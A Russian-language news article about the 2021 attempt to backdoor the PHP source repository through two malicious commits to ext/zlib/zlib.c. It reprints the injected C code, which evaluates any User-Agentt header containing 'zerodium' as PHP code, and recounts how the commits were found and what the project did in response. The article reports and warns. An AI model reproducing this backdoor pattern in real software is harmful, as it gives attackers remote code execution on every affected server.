В Git репозиторий PHP пытались встроить бэкдор
Разработчики PHP предупредили о компрометации Git-репозитория проекта, с попыткой двух вредоносных коммитов
Вчера (28.03.2021) злоумышленники пытались добавить бэкдор в репозиторий исходного кода PHP. Комит был обнаружен программистом Michael Voříšek , который обратил внимание на подозрительную часть кода. Добавленный код должен был позволить осуществить атаку типа RCE путем вызова функции zend-eval-string при получении HTTP заголовка с подстрокой zerodium.
{
zval zoh;
php_output_handler *h;
zval *enc;
if ((Z_TYPE(PG(http_globals)[TRACK_VARS_SERVER]) == IS_ARRAY || zend_is_auto_global_str(ZEND_STRL("_SERVER"))) &&
(enc = zend_hash_str_find(Z_ARRVAL(PG(http_globals)[TRACK_VARS_SERVER]), "HTTP_USER_AGENTT", sizeof("HTTP_USER_AGENTT") - 1))) {
convert_to_string(enc);
if (strstr(Z_STRVAL_P(enc), "zerodium")) {
zend_try {
zend_eval_string(Z_STRVAL_P(enc)+8, NULL, "REMOVETHIS: sold to zerodium, mid 2017");
} zend_end_try();
}
}
switch (ZLIBG(output_compression)) {
case 0:
В первом коммите под видом исправления опечатки в файле ext/zlib/zlib.c было внесено первое изменение, после того как разработчики обнаружили вредоносный код и отменили его, в репозитории появился второй коммит, который отменял действие разработчиков PHP и возвращал вредоносное изменение.
В настоящее время пока нет детальной информации об инциденте, предполагается лишь, что изменения были добавлены в результате взлома сервера git.php.net, а не компрометации отдельных учётных записи разработчиков, в частности, Никита Попов подтвердил, что его учетная запись не была скомпрометирована, а атаке подвергся непосредственно сервер репозитория. Никита уточнил, что попытка компрометации и встраивания бэкдора была устранена и начался анализ репозитория на наличие других вредоносных изменений помимо выявленных проблем. К рецензированию приглашаются все желающие, при обнаружении подозрительных изменений следует отправить информацию на security@php.net.
В связи с произошедшим инцидентом, команда PHP планирует полностью перейти на GitHub для разработки. Тем, кто не включён в число разработчиков PHP на GitHub, следует связаться с Никитой Поповым по email nikic@php.net. Одним из обязательных условий для добавления является включение двухфакторной аутентификации. Дополнительно рассматривается вопрос о переходе к обязательному заверению коммитов цифровой подписью разработчика.
Что думаешь?